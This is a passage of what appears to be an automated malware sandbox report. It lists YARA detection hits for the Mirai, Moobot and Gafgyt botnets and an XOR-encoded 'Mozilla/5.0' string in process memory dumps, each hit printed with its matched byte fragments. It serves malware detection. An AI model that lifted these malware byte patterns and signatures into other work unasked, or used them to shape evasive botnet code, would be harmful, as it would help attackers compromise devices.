78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6248.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6361.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6579.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7393.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7393.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7393.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7393.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6361.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6361.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6361.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6361.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6361.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6384.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6623.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6623.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6623.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6623.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6623.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6623.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7073.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7073.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7073.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7073.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7073.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7073.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6666.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6384.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6384.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6384.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6384.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6384.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6384.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6932.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6932.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6932.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6932.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6932.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 